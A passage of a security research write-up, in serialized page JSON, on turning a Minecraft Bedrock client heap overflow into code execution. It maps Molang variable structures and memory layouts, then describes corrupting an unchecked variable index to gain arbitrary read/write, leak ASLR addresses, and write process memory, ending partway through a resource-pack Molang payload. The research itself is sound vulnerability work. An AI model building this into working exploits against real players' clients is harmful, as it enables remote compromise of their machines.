-\n",[157224],{"type":24,"tag":80,"props":157225,"children":157226},{"__ignoreMap":7},[157227],{"type":29,"value":157222},{"type":24,"tag":2665,"props":157229,"children":157230},{},[],{"type":24,"tag":25,"props":157232,"children":157233},{},[157234],{"type":29,"value":157235},"This yields a substantially larger overflow primitive than the original 4-byte OOB. However, without an information leak, ASLR is still a big issue and finding a single ideal structure was difficult.",{"type":24,"tag":25,"props":157237,"children":157238},{},[157239],{"type":29,"value":157240},"Instead of looking for simple structures, we shifted focus to more complex server-controlled scripting systems executed by the client - eventually finding Molang.",{"type":24,"tag":43,"props":157242,"children":157244},{"id":157243},"molang",[157245],{"type":29,"value":157246},"Molang",{"type":24,"tag":25,"props":157248,"children":157249},{},[157250,157252,157259],{"type":29,"value":157251},"Molang is a Minecraft-specific scripting language designed for simple math operations and a lightweight state model. It typically controls client-side entity animations and can be included in resource packs delivered by the server. A high-level overview is available in the official ",{"type":24,"tag":2773,"props":157253,"children":157256},{"href":157254,"rel":157255},"https://learn.microsoft.com/en-us/minecraft/creator/documents/molang/syntax-guide?view=minecraft-bedrock-stable",[2777],[157257],{"type":29,"value":157258},"syntax guide",{"type":29,"value":87},{"type":24,"tag":25,"props":157261,"children":157262},{},[157263,157265,157270,157271,157276],{"type":29,"value":157264},"The available base types are simple: numbers are 32-bit floats, and there is a string type for which only the ",{"type":24,"tag":80,"props":157266,"children":157268},{"className":157267},[],[157269],{"type":29,"value":6600},{"type":29,"value":855},{"type":24,"tag":80,"props":157272,"children":157274},{"className":157273},[],[157275],{"type":29,"value":4279},{"type":29,"value":157277}," operators are supported.",{"type":24,"tag":25,"props":157279,"children":157280},{},[157281,157283,157289,157291,157296,157298,157303,157304,157309,157310],{"type":29,"value":157282},"Variables are defined by prepending ",{"type":24,"tag":80,"props":157284,"children":157286},{"className":157285},[],[157287],{"type":29,"value":157288},"variable.",{"type":29,"value":157290}," to the name and assigning a value. For example, to define ",{"type":24,"tag":80,"props":157292,"children":157294},{"className":157293},[],[157295],{"type":29,"value":14706},{"type":29,"value":157297}," as the sum of ",{"type":24,"tag":80,"props":157299,"children":157301},{"className":157300},[],[157302],{"type":29,"value":2773},{"type":29,"value":855},{"type":24,"tag":80,"props":157305,"children":157307},{"className":157306},[],[157308],{"type":29,"value":8852},{"type":29,"value":20943},{"type":24,"tag":80,"props":157311,"children":157313},{"className":157312},[],[157314],{"type":29,"value":157315},"variable.result = variable.a + variable.b;",{"type":24,"tag":25,"props":157317,"children":157318},{},[157319,157321,157326,157327,157332,157333,157338,157339,157344],{"type":29,"value":157320},"Logical operators such as ",{"type":24,"tag":80,"props":157322,"children":157324},{"className":157323},[],[157325],{"type":29,"value":3593},{"type":29,"value":546},{"type":24,"tag":80,"props":157328,"children":157330},{"className":157329},[],[157331],{"type":29,"value":78779},{"type":29,"value":546},{"type":24,"tag":80,"props":157334,"children":157336},{"className":157335},[],[157337],{"type":29,"value":3583},{"type":29,"value":546},{"type":24,"tag":80,"props":157340,"children":157342},{"className":157341},[],[157343],{"type":29,"value":3453},{"type":29,"value":157345},", etc., are supported, and conditional branching is implemented using ternary-style blocks:",{"type":24,"tag":137,"props":157347,"children":157349},{"code":157348},"(variable.result == 3) ? {\n    return 1;\n} : {\n    return 0;\n}\n",[157350],{"type":24,"tag":80,"props":157351,"children":157352},{"__ignoreMap":7},[157353],{"type":29,"value":157348},{"type":24,"tag":25,"props":157355,"children":157356},{},[157357],{"type":29,"value":157358},"As shown, Molang is very simple, but we hoped it would be sufficient as a second-stage payload to achieve client-side arbitrary read and write.",{"type":24,"tag":112,"props":157360,"children":157362},{"id":157361},"molang-internals",[157363],{"type":29,"value":157364},"Molang Internals",{"type":24,"tag":25,"props":157366,"children":157367},{},[157368],{"type":29,"value":157369},"What interested us most was how variables are handled. Specifically, we wondered whether we could use the overflow to corrupt a variable and then leverage that corrupted variable to perform arbitrary reads - leaking the information needed to bypass ASLR inside the Molang script, and subsequently use those leaks to carry out arbitrary writes.",{"type":24,"tag":25,"props":157371,"children":157372},{},[157373],{"type":29,"value":157374},"Below we describe the structures involved and their memory layout.",{"type":24,"tag":112,"props":157376,"children":157378},{"id":157377},"molangvariable-and-molangscriptarg",[157379],{"type":29,"value":157380},"MolangVariable and MolangScriptArg",{"type":24,"tag":25,"props":157382,"children":157383},{},[157384,157385,157391],{"type":29,"value":107929},{"type":24,"tag":80,"props":157386,"children":157388},{"className":157387},[],[157389],{"type":29,"value":157390},"MolangVariable",{"type":29,"value":157392}," structure is created for every declared variable. Simplified, it looks something like this:",{"type":24,"tag":137,"props":157394,"children":157396},{"code":157395,"language":140,"meta":7,"className":141,"style":7},"struct MolangVariable {\n    \n    struct HashedString {\n        uint64_t variable_name_hash;\n        std::string variable_name;\n    };\n    \n    struct MolangScriptArg {\n        uint32_t value_type;\n        uint64_t value;\n        std::vector\u003Cstruct MolangScriptArg> struct_fields;\n        \n        [...]\n    };\n};\n",[157397],{"type":24,"tag":80,"props":157398,"children":157399},{"__ignoreMap":7},[157400,157412,157419,157431,157444,157452,157459,157466,157478,157491,157503,157533,157541,157548,157555],{"type":24,"tag":147,"props":157401,"children":157402},{"class":149,"line":150},[157403,157407],{"type":24,"tag":147,"props":157404,"children":157405},{"style":218},[157406],{"type":29,"value":993},{"type":24,"tag":147,"props":157408,"children":157409},{"style":235},[157410],{"type":29,"value":157411}," MolangVariable {\n",{"type":24,"tag":147,"props":157413,"children":157414},{"class":149,"line":160},[157415],{"type":24,"tag":147,"props":157416,"children":157417},{"style":235},[157418],{"type":29,"value":67368},{"type":24,"tag":147,"props":157420,"children":157421},{"class":149,"line":169},[157422,157426],{"type":24,"tag":147,"props":157423,"children":157424},{"style":218},[157425],{"type":29,"value":11677},{"type":24,"tag":147,"props":157427,"children":157428},{"style":235},[157429],{"type":29,"value":157430}," HashedString {\n",{"type":24,"tag":147,"props":157432,"children":157433},{"class":149,"line":178},[157434,157439],{"type":24,"tag":147,"props":157435,"children":157436},{"style":218},[157437],{"type":29,"value":157438},"        uint64_t",{"type":24,"tag":147,"props":157440,"children":157441},{"style":235},[157442],{"type":29,"value":157443}," variable_name_hash;\n",{"type":24,"tag":147,"props":157445,"children":157446},{"class":149,"line":187},[157447],{"type":24,"tag":147,"props":157448,"children":157449},{"style":235},[157450],{"type":29,"value":157451},"        std::string variable_name;\n",{"type":24,"tag":147,"props":157453,"children":157454},{"class":149,"line":196},[157455],{"type":24,"tag":147,"props":157456,"children":157457},{"style":235},[157458],{"type":29,"value":44594},{"type":24,"tag":147,"props":157460,"children":157461},{"class":149,"line":205},[157462],{"type":24,"tag":147,"props":157463,"children":157464},{"style":235},[157465],{"type":29,"value":67368},{"type":24,"tag":147,"props":157467,"children":157468},{"class":149,"line":214},[157469,157473],{"type":24,"tag":147,"props":157470,"children":157471},{"style":218},[157472],{"type":29,"value":11677},{"type":24,"tag":147,"props":157474,"children":157475},{"style":235},[157476],{"type":29,"value":157477}," MolangScriptArg {\n",{"type":24,"tag":147,"props":157479,"children":157480},{"class":149,"line":272},[157481,157486],{"type":24,"tag":147,"props":157482,"children":157483},{"style":218},[157484],{"type":29,"value":157485},"        uint32_t",{"type":24,"tag":147,"props":157487,"children":157488},{"style":235},[157489],{"type":29,"value":157490}," value_type;\n",{"type":24,"tag":147,"props":157492,"children":157493},{"class":149,"line":281},[157494,157498],{"type":24,"tag":147,"props":157495,"children":157496},{"style":218},[157497],{"type":29,"value":157438},{"type":24,"tag":147,"props":157499,"children":157500},{"style":235},[157501],{"type":29,"value":157502}," value;\n",{"type":24,"tag":147,"props":157504,"children":157505},{"class":149,"line":299},[157506,157511,157515,157519,157524,157528],{"type":24,"tag":147,"props":157507,"children":157508},{"style":235},[157509],{"type":29,"value":157510},"        std::vector",{"type":24,"tag":147,"props":157512,"children":157513},{"style":241},[157514],{"type":29,"value":3583},{"type":24,"tag":147,"props":157516,"children":157517},{"style":218},[157518],{"type":29,"value":993},{"type":24,"tag":147,"props":157520,"children":157521},{"style":235},[157522],{"type":29,"value":157523}," MolangScriptArg",{"type":24,"tag":147,"props":157525,"children":157526},{"style":241},[157527],{"type":29,"value":3453},{"type":24,"tag":147,"props":157529,"children":157530},{"style":235},[157531],{"type":29,"value":157532}," struct_fields;\n",{"type":24,"tag":147,"props":157534,"children":157535},{"class":149,"line":308},[157536],{"type":24,"tag":147,"props":157537,"children":157538},{"style":235},[157539],{"type":29,"value":157540},"        \n",{"type":24,"tag":147,"props":157542,"children":157543},{"class":149,"line":317},[157544],{"type":24,"tag":147,"props":157545,"children":157546},{"style":235},[157547],{"type":29,"value":458},{"type":24,"tag":147,"props":157549,"children":157550},{"class":149,"line":332},[157551],{"type":24,"tag":147,"props":157552,"children":157553},{"style":235},[157554],{"type":29,"value":44594},{"type":24,"tag":147,"props":157556,"children":157557},{"class":149,"line":350},[157558],{"type":24,"tag":147,"props":157559,"children":157560},{"style":235},[157561],{"type":29,"value":1120},{"type":24,"tag":25,"props":157563,"children":157564},{},[157565,157567,157572],{"type":29,"value":157566},"In memory a ",{"type":24,"tag":80,"props":157568,"children":157570},{"className":157569},[],[157571],{"type":29,"value":157390},{"type":29,"value":157573}," instance resembles:",{"type":24,"tag":137,"props":157575,"children":157577},{"code":157576},"      +---------------+---------------+\n+0x00 |  FNV-1 hash   |std::string.buf|\n      +---------------+---------------+\n+0x10 |std::string.buf|std::string.len|\n      +---------------+---------------+\n+0x20 |std::string.cap|   Unknown     |\n      +-------+-------+---------------+\n+0x30 | Type  |Unused |Variable value |\n      +-------+-------+---------------+\n+0x40 |std::vector.buf|std::vector.len|\n      +---------------+---------------+\n+0x50 |std::vector.cap|   Unknown     |\n      +---------------+---------------+\n      |     . . .     |     . . .     |\n",[157578],{"type":24,"tag":80,"props":157579,"children":157580},{"__ignoreMap":7},[157581],{"type":29,"value":157576},{"type":24,"tag":25,"props":157583,"children":157584},{},[157585],{"type":29,"value":157586},"For reference, example debugger view of the layout:",{"type":24,"tag":25,"props":157588,"children":157589},{},[157590],{"type":24,"tag":63,"props":157591,"children":157593},{"alt":56176,"src":157592},"/posts/minecraft-heap-overflow-to-rce/image8.png",[],{"type":24,"tag":25,"props":157595,"children":157596},{},[157597],{"type":29,"value":157598},"The full structure is larger and contains more fields than shown, but many are irrelevant to the exploit.",{"type":24,"tag":25,"props":157600,"children":157601},{},[157602,157604,157610,157612,157617,157619,157625,157627,157632,157633,157638,157640,157645,157646,157652,157653,157659],{"type":29,"value":157603},"We only care about the ",{"type":24,"tag":80,"props":157605,"children":157607},{"className":157606},[],[157608],{"type":29,"value":157609},"MolangScriptArg",{"type":29,"value":157611}," beginning at offset ",{"type":24,"tag":80,"props":157613,"children":157615},{"className":157614},[],[157616],{"type":29,"value":5439},{"type":29,"value":157618}," because it contains variable values. In the screenshot above, the ",{"type":24,"tag":80,"props":157620,"children":157622},{"className":157621},[],[157623],{"type":29,"value":157624},"value_type",{"type":29,"value":157626}," at ",{"type":24,"tag":80,"props":157628,"children":157630},{"className":157629},[],[157631],{"type":29,"value":5439},{"type":29,"value":5819},{"type":24,"tag":80,"props":157634,"children":157636},{"className":157635},[],[157637],{"type":29,"value":3173},{"type":29,"value":157639}," (meaning float), and the ",{"type":24,"tag":80,"props":157641,"children":157643},{"className":157642},[],[157644],{"type":29,"value":5037},{"type":29,"value":157626},{"type":24,"tag":80,"props":157647,"children":157649},{"className":157648},[],[157650],{"type":29,"value":157651},"0x38",{"type":29,"value":5819},{"type":24,"tag":80,"props":157654,"children":157656},{"className":157655},[],[157657],{"type":29,"value":157658},"0xbf2070c8",{"type":29,"value":87},{"type":24,"tag":25,"props":157661,"children":157662},{},[157663,157665,157671,157673,157678,157680,157685,157686,157691,157693,157698,157700,157705],{"type":29,"value":157664},"During assignment, such as ",{"type":24,"tag":80,"props":157666,"children":157668},{"className":157667},[],[157669],{"type":29,"value":157670},"variable.a = variable.b",{"type":29,"value":157672},", each field of ",{"type":24,"tag":80,"props":157674,"children":157676},{"className":157675},[],[157677],{"type":29,"value":157609},{"type":29,"value":157679}," is copied from variable ",{"type":24,"tag":80,"props":157681,"children":157683},{"className":157682},[],[157684],{"type":29,"value":8852},{"type":29,"value":62364},{"type":24,"tag":80,"props":157687,"children":157689},{"className":157688},[],[157690],{"type":29,"value":2773},{"type":29,"value":157692},". Interestingly, the ",{"type":24,"tag":80,"props":157694,"children":157696},{"className":157695},[],[157697],{"type":29,"value":5037},{"type":29,"value":157699}," field is always copied as a ",{"type":24,"tag":80,"props":157701,"children":157703},{"className":157702},[],[157704],{"type":29,"value":61222},{"type":29,"value":157706}," even if the type is a 32-bit float.",{"type":24,"tag":25,"props":157708,"children":157709},{},[157710,157712,157718],{"type":29,"value":157711},"Each entity stores its variables in a per-entity vector called ",{"type":24,"tag":80,"props":157713,"children":157715},{"className":157714},[],[157716],{"type":29,"value":157717},"MolangVariableMap",{"type":29,"value":87},{"type":24,"tag":112,"props":157720,"children":157722},{"id":157721},"molangvariablemap",[157723],{"type":29,"value":157717},{"type":24,"tag":25,"props":157725,"children":157726},{},[157727,157732,157734,157740,157742,157748],{"type":24,"tag":80,"props":157728,"children":157730},{"className":157729},[],[157731],{"type":29,"value":157717},{"type":29,"value":157733}," is simply a ",{"type":24,"tag":80,"props":157735,"children":157737},{"className":157736},[],[157738],{"type":29,"value":157739},"std::vector\u003CMolangVariable *>",{"type":29,"value":157741}," contained per entity. To reason about its memory we need to recall MSVC ",{"type":24,"tag":80,"props":157743,"children":157745},{"className":157744},[],[157746],{"type":29,"value":157747},"std::vector",{"type":29,"value":157749}," layout:",{"type":24,"tag":137,"props":157751,"children":157753},{"code":157752,"language":140,"meta":7,"className":141,"style":7},"struct vector {\n    void *buf;\n    void *len;\n    void *cap;\n};\n",[157754],{"type":24,"tag":80,"props":157755,"children":157756},{"__ignoreMap":7},[157757,157769,157785,157801,157817],{"type":24,"tag":147,"props":157758,"children":157759},{"class":149,"line":150},[157760,157764],{"type":24,"tag":147,"props":157761,"children":157762},{"style":218},[157763],{"type":29,"value":993},{"type":24,"tag":147,"props":157765,"children":157766},{"style":235},[157767],{"type":29,"value":157768}," vector {\n",{"type":24,"tag":147,"props":157770,"children":157771},{"class":149,"line":160},[157772,157776,157780],{"type":24,"tag":147,"props":157773,"children":157774},{"style":218},[157775],{"type":29,"value":22155},{"type":24,"tag":147,"props":157777,"children":157778},{"style":241},[157779],{"type":29,"value":1263},{"type":24,"tag":147,"props":157781,"children":157782},{"style":235},[157783],{"type":29,"value":157784},"buf;\n",{"type":24,"tag":147,"props":157786,"children":157787},{"class":149,"line":169},[157788,157792,157796],{"type":24,"tag":147,"props":157789,"children":157790},{"style":218},[157791],{"type":29,"value":22155},{"type":24,"tag":147,"props":157793,"children":157794},{"style":241},[157795],{"type":29,"value":1263},{"type":24,"tag":147,"props":157797,"children":157798},{"style":235},[157799],{"type":29,"value":157800},"len;\n",{"type":24,"tag":147,"props":157802,"children":157803},{"class":149,"line":178},[157804,157808,157812],{"type":24,"tag":147,"props":157805,"children":157806},{"style":218},[157807],{"type":29,"value":22155},{"type":24,"tag":147,"props":157809,"children":157810},{"style":241},[157811],{"type":29,"value":1263},{"type":24,"tag":147,"props":157813,"children":157814},{"style":235},[157815],{"type":29,"value":157816},"cap;\n",{"type":24,"tag":147,"props":157818,"children":157819},{"class":149,"line":187},[157820],{"type":24,"tag":147,"props":157821,"children":157822},{"style":235},[157823],{"type":29,"value":1120},{"type":24,"tag":25,"props":157825,"children":157826},{},[157827,157832,157834,157839,157841,157847,157849,157854,157855,157860],{"type":24,"tag":80,"props":157828,"children":157830},{"className":157829},[],[157831],{"type":29,"value":154913},{"type":29,"value":157833}," points to the allocated array of elements, ",{"type":24,"tag":80,"props":157835,"children":157837},{"className":157836},[],[157838],{"type":29,"value":6227},{"type":29,"value":157840}," points just past the last used element, and ",{"type":24,"tag":80,"props":157842,"children":157844},{"className":157843},[],[157845],{"type":29,"value":157846},"cap",{"type":29,"value":157848}," points to the end of the allocated buffer. Notably, the types of ",{"type":24,"tag":80,"props":157850,"children":157852},{"className":157851},[],[157853],{"type":29,"value":6227},{"type":29,"value":855},{"type":24,"tag":80,"props":157856,"children":157858},{"className":157857},[],[157859],{"type":29,"value":157846},{"type":29,"value":157861}," aren't typical integer types for sizes, but both are pointers.",{"type":24,"tag":25,"props":157863,"children":157864},{},[157865],{"type":29,"value":157866},"Example layout for a vector holding three variable pointers plus one unused slot:",{"type":24,"tag":137,"props":157868,"children":157870},{"code":157869},"+---------+         +--------------------+\n|   buf   +-------> | MolangVariable A*  |\n+---------+         +--------------------+\n|   len   +----+    | MolangVariable B*  |\n+---------+    |    +--------------------+\n|   cap   |    |    | MolangVariable C*  |\n+----+----+    |    +--------------------+\n     |         +--> | Empty element slot |\n     |              +--------------------+\n     |                                   ^\n     +-----------------------------------+\n",[157871],{"type":24,"tag":80,"props":157872,"children":157873},{"__ignoreMap":7},[157874],{"type":29,"value":157869},{"type":24,"tag":25,"props":157876,"children":157877},{},[157878,157880,157886,157888,157894],{"type":29,"value":157879},"Because each entity can create and initialize variables independently, the indices of specific variables (e.g., ",{"type":24,"tag":80,"props":157881,"children":157883},{"className":157882},[],[157884],{"type":29,"value":157885},"variable.result",{"type":29,"value":157887},") may differ between entities. To get around this, ",{"type":24,"tag":80,"props":157889,"children":157891},{"className":157890},[],[157892],{"type":29,"value":157893},"MolangIndexMap",{"type":29,"value":157895}," is used to map a global variable name to the correct per-entity slot.",{"type":24,"tag":112,"props":157897,"children":157899},{"id":157898},"molangindexmap",[157900],{"type":29,"value":157893},{"type":24,"tag":25,"props":157902,"children":157903},{},[157904,157909,157911,157917,157919,157925],{"type":24,"tag":80,"props":157905,"children":157907},{"className":157906},[],[157908],{"type":29,"value":157893},{"type":29,"value":157910}," is a per-entity ",{"type":24,"tag":80,"props":157912,"children":157914},{"className":157913},[],[157915],{"type":29,"value":157916},"std::vector\u003Cuint16_t>",{"type":29,"value":157918},". The engine maintains a global hashmap that maps variable names to a global index. When the client encounters a statement like ",{"type":24,"tag":80,"props":157920,"children":157922},{"className":157921},[],[157923],{"type":29,"value":157924},"variable.result = 0",{"type":29,"value":157926}," it:",{"type":24,"tag":2674,"props":157928,"children":157929},{},[157930,157940,157950],{"type":24,"tag":2678,"props":157931,"children":157932},{},[157933,157935],{"type":29,"value":157934},"Checks the global hashmap for ",{"type":24,"tag":80,"props":157936,"children":157938},{"className":157937},[],[157939],{"type":29,"value":14706},{"type":24,"tag":2678,"props":157941,"children":157942},{},[157943,157945],{"type":29,"value":157944},"If found, uses the global index to look up the per-entity index in ",{"type":24,"tag":80,"props":157946,"children":157948},{"className":157947},[],[157949],{"type":29,"value":157893},{"type":24,"tag":2678,"props":157951,"children":157952},{},[157953,157955],{"type":29,"value":157954},"If not found, creates a new global entry and assigns it ",{"type":24,"tag":80,"props":157956,"children":157958},{"className":157957},[],[157959],{"type":29,"value":157960},"last_index + 1",{"type":24,"tag":25,"props":157962,"children":157963},{},[157964,157966,157971,157973,157978,157980,157985,157987,157992,157994,157999,158000,158006,158008,158013],{"type":29,"value":157965},"This means the same global index for variable ",{"type":24,"tag":80,"props":157967,"children":157969},{"className":157968},[],[157970],{"type":29,"value":14706},{"type":29,"value":157972}," maps to the same position inside every entity’s ",{"type":24,"tag":80,"props":157974,"children":157976},{"className":157975},[],[157977],{"type":29,"value":157893},{"type":29,"value":157979},", but the actual ",{"type":24,"tag":80,"props":157981,"children":157983},{"className":157982},[],[157984],{"type":29,"value":157390},{"type":29,"value":157986}," for ",{"type":24,"tag":80,"props":157988,"children":157990},{"className":157989},[],[157991],{"type":29,"value":14706},{"type":29,"value":157993}," may live at different slots inside each entity's ",{"type":24,"tag":80,"props":157995,"children":157997},{"className":157996},[],[157998],{"type":29,"value":157717},{"type":29,"value":24139},{"type":24,"tag":80,"props":158001,"children":158003},{"className":158002},[],[158004],{"type":29,"value":158005},"Entity.MolangIndexMap[global_index]",{"type":29,"value":158007}," stores the per-entity index (slot) of variable ",{"type":24,"tag":80,"props":158009,"children":158011},{"className":158010},[],[158012],{"type":29,"value":14706},{"type":29,"value":87},{"type":24,"tag":25,"props":158015,"children":158016},{},[158017,158019,158024,158026,158031,158033,158038,158040,158045,158047,158053,158055,158060],{"type":29,"value":158018},"Importantly, we found that indices in the ",{"type":24,"tag":80,"props":158020,"children":158022},{"className":158021},[],[158023],{"type":29,"value":157893},{"type":29,"value":158025}," are trusted and the client does not validate that a per-entity index actually lies within the bounds of that entity’s ",{"type":24,"tag":80,"props":158027,"children":158029},{"className":158028},[],[158030],{"type":29,"value":157717},{"type":29,"value":158032},". This means that if we overwrite the index of variable ",{"type":24,"tag":80,"props":158034,"children":158036},{"className":158035},[],[158037],{"type":29,"value":14706},{"type":29,"value":158039}," (an example, it can be any variable) with the chunk overlap and make it out-of-bounds for that entity’s ",{"type":24,"tag":80,"props":158041,"children":158043},{"className":158042},[],[158044],{"type":29,"value":157717},{"type":29,"value":158046},", we could read from and write to ",{"type":24,"tag":80,"props":158048,"children":158050},{"className":158049},[],[158051],{"type":29,"value":158052},"address + 0x38",{"type":29,"value":158054}," through ",{"type":24,"tag":80,"props":158056,"children":158058},{"className":158057},[],[158059],{"type":29,"value":157885},{"type":29,"value":87},{"type":24,"tag":43,"props":158062,"children":158064},{"id":158063},"building-a-molang-arbitrary-rw-primitive",[158065],{"type":29,"value":158066},"Building a Molang Arbitrary R/W Primitive",{"type":24,"tag":25,"props":158068,"children":158069},{},[158070,158072,158077,158079,158084],{"type":29,"value":158071},"We needed some pointer inside a heap-sprayable object that we could use to build an arbitrary read/write primitive in Molang. Eventually, we came up with the thought of using internal pointers of ",{"type":24,"tag":80,"props":158073,"children":158075},{"className":158074},[],[158076],{"type":29,"value":157747},{"type":29,"value":158078}," - specifically, of ",{"type":24,"tag":80,"props":158080,"children":158082},{"className":158081},[],[158083],{"type":29,"value":157717},{"type":29,"value":158085}," vector.",{"type":24,"tag":25,"props":158087,"children":158088},{},[158089,158091,158096,158098,158103,158104,158109,158111,158116],{"type":29,"value":158090},"Because every entity object is heap-allocated and contains a ",{"type":24,"tag":80,"props":158092,"children":158094},{"className":158093},[],[158095],{"type":29,"value":157717},{"type":29,"value":158097}," vector, we realised we might be able to overwrite a variable index so it reads the ",{"type":24,"tag":80,"props":158099,"children":158101},{"className":158100},[],[158102],{"type":29,"value":154913},{"type":29,"value":61379},{"type":24,"tag":80,"props":158105,"children":158107},{"className":158106},[],[158108],{"type":29,"value":157717},{"type":29,"value":158110}," vector belonging to an entity object placed just next the ",{"type":24,"tag":80,"props":158112,"children":158114},{"className":158113},[],[158115],{"type":29,"value":157717},{"type":29,"value":158117}," allocated buffer.",{"type":24,"tag":137,"props":158119,"children":158121},{"code":158120},"      +-------------+ \u003C--+                   \n+---> | variable.a  |    |                   \n|     +-------------+    |                   \n|     | variable.b  |    |                   \n|     +-------------+    +- MolangVariableMap allocated buffer\n|     |    . . .    |    |                   \n|     +-------------+    |                   \n|     | variable.f  |    |                   \n|     +-------------+ \u003C--+--+                \n|     |             |       |                \n|     |             |       |                \n|     |             |       |                \n|     |             |       |                \n|     +------+------+       +- Entity Object \n+-----+ buf  | len  |       |                \n      +------+------+       |                \n      | cap  |      |       |                \n      +------+      |       |                \n      +-------------+ \u003C-----+                                       \n",[158122],{"type":24,"tag":80,"props":158123,"children":158124},{"__ignoreMap":7},[158125],{"type":29,"value":158120},{"type":24,"tag":25,"props":158127,"children":158128},{},[158129,158131,158136,158138,158144,158146,158151,158152,158158,158159,158164,158166,158171,158173,158178,158180,158185,158187,158192,158194,158199,158201,158206,158208,158214,158216,158221,158223,158228],{"type":29,"value":158130},"In the scenario above, the ",{"type":24,"tag":80,"props":158132,"children":158134},{"className":158133},[],[158135],{"type":29,"value":157893},{"type":29,"value":158137}," would map ",{"type":24,"tag":80,"props":158139,"children":158141},{"className":158140},[],[158142],{"type":29,"value":158143},"variable.a",{"type":29,"value":158145}," -> index ",{"type":24,"tag":80,"props":158147,"children":158149},{"className":158148},[],[158150],{"type":29,"value":3173},{"type":29,"value":546},{"type":24,"tag":80,"props":158153,"children":158155},{"className":158154},[],[158156],{"type":29,"value":158157},"variable.b",{"type":29,"value":158145},{"type":24,"tag":80,"props":158160,"children":158162},{"className":158161},[],[158163],{"type":29,"value":1154},{"type":29,"value":158165},", and so on. If we overwrite the index for ",{"type":24,"tag":80,"props":158167,"children":158169},{"className":158168},[],[158170],{"type":29,"value":158143},{"type":29,"value":158172}," with a value that is out-of-bounds for the ",{"type":24,"tag":80,"props":158174,"children":158176},{"className":158175},[],[158177],{"type":29,"value":157717},{"type":29,"value":158179},", it can instead index the ",{"type":24,"tag":80,"props":158181,"children":158183},{"className":158182},[],[158184],{"type":29,"value":154913},{"type":29,"value":158186}," field of the entity object above. Reading ",{"type":24,"tag":80,"props":158188,"children":158190},{"className":158189},[],[158191],{"type":29,"value":158143},{"type":29,"value":158193}," will then return the pointer stored at offset ",{"type":24,"tag":80,"props":158195,"children":158197},{"className":158196},[],[158198],{"type":29,"value":157651},{"type":29,"value":158200}," from the start of the ",{"type":24,"tag":80,"props":158202,"children":158204},{"className":158203},[],[158205],{"type":29,"value":157717},{"type":29,"value":158207}," (which in this diagram corresponds to ",{"type":24,"tag":80,"props":158209,"children":158211},{"className":158210},[],[158212],{"type":29,"value":158213},"variable.f",{"type":29,"value":158215},"), and writing to ",{"type":24,"tag":80,"props":158217,"children":158219},{"className":158218},[],[158220],{"type":29,"value":158143},{"type":29,"value":158222}," will overwrite that pointer - corrupting ",{"type":24,"tag":80,"props":158224,"children":158226},{"className":158225},[],[158227],{"type":29,"value":158213},{"type":29,"value":87},{"type":24,"tag":25,"props":158230,"children":158231},{},[158232,158234,158239,158240,158246,158248,158253,158255,158261,158263,158268,158270,158275,158277,158283,158285,158291,158293,158298],{"type":29,"value":158233},"To leak the address of the Minecraft executable we could increment ",{"type":24,"tag":80,"props":158235,"children":158237},{"className":158236},[],[158238],{"type":29,"value":158143},{"type":29,"value":408},{"type":24,"tag":80,"props":158241,"children":158243},{"className":158242},[],[158244],{"type":29,"value":158245},"variable.a += 8",{"type":29,"value":158247},"), which advances the pointer used for ",{"type":24,"tag":80,"props":158249,"children":158251},{"className":158250},[],[158252],{"type":29,"value":158213},{"type":29,"value":158254}," by 8 bytes. The Molang script would repeat this until it finds a vtable pointer in the heap. At that point we can write arbitrary values into writable regions of the Minecraft process by setting ",{"type":24,"tag":80,"props":158256,"children":158258},{"className":158257},[],[158259],{"type":29,"value":158260},"variable.a = variable.exe_leak + \u003Coffset>",{"type":29,"value":158262}," - this updates the ",{"type":24,"tag":80,"props":158264,"children":158266},{"className":158265},[],[158267],{"type":29,"value":158213},{"type":29,"value":158269}," pointer to our chosen address, and writing to ",{"type":24,"tag":80,"props":158271,"children":158273},{"className":158272},[],[158274],{"type":29,"value":158213},{"type":29,"value":158276},", for example ",{"type":24,"tag":80,"props":158278,"children":158280},{"className":158279},[],[158281],{"type":29,"value":158282},"variable.f = 1337",{"type":29,"value":158284},", writes the value ",{"type":24,"tag":80,"props":158286,"children":158288},{"className":158287},[],[158289],{"type":29,"value":158290},"1337",{"type":29,"value":158292}," to offset ",{"type":24,"tag":80,"props":158294,"children":158296},{"className":158295},[],[158297],{"type":29,"value":157651},{"type":29,"value":158299}," from that calculated address.",{"type":24,"tag":112,"props":158301,"children":158303},{"id":158302},"testing-the-idea",[158304],{"type":29,"value":158305},"Testing the Idea",{"type":24,"tag":25,"props":158307,"children":158308},{},[158309,158311,158316,158318,158323,158325,158330],{"type":29,"value":158310},"We tested the idea by manually adding a pointer to the start of ",{"type":24,"tag":80,"props":158312,"children":158314},{"className":158313},[],[158315],{"type":29,"value":157717},{"type":29,"value":158317}," and modifying the index of a variable so that it indexed this out-of-bounds pointer. It ",{"type":24,"tag":8545,"props":158319,"children":158320},{},[158321],{"type":29,"value":158322},"almost",{"type":29,"value":158324}," worked - below is the state of the ",{"type":24,"tag":80,"props":158326,"children":158328},{"className":158327},[],[158329],{"type":29,"value":157717},{"type":29,"value":158331},"'s allocated buffer before the Molang script executes:",{"type":24,"tag":25,"props":158333,"children":158334},{},[158335],{"type":24,"tag":63,"props":158336,"children":158338},{"alt":56176,"src":158337},"/posts/minecraft-heap-overflow-to-rce/image9.png",[],{"type":24,"tag":25,"props":158340,"children":158341},{},[158342],{"type":29,"value":158343},"And this is after execution:",{"type":24,"tag":25,"props":158345,"children":158346},{},[158347],{"type":24,"tag":63,"props":158348,"children":158350},{"alt":56176,"src":158349},"/posts/minecraft-heap-overflow-to-rce/image10.png",[],{"type":24,"tag":25,"props":158352,"children":158353},{},[158354],{"type":29,"value":158355},"For reference, this is what the relevant entity json file containing our Molang looks like:",{"type":24,"tag":137,"props":158357,"children":158359},{"code":158358,"language":39598,"meta":7,"className":39596,"style":7},"{\n  \"format_version\": \"1.10.0\",\n  \"minecraft:client_entity\": {\n    \"description\": {\n      \"identifier\": \"minecraft:leash_knot\",\n\n      [...]\n        \n      \"scripts\": {\n        \"initialize\": [\n          \"variable.a = 0;\",\n          \"variable.b = 0;\",\n          \"variable.c = 0;\",\n          [...]\n        ],\n        \"pre_animation\": [\n          \"variable.a = 2.310732e-27;\"\n        ]\n      },\n    }\n  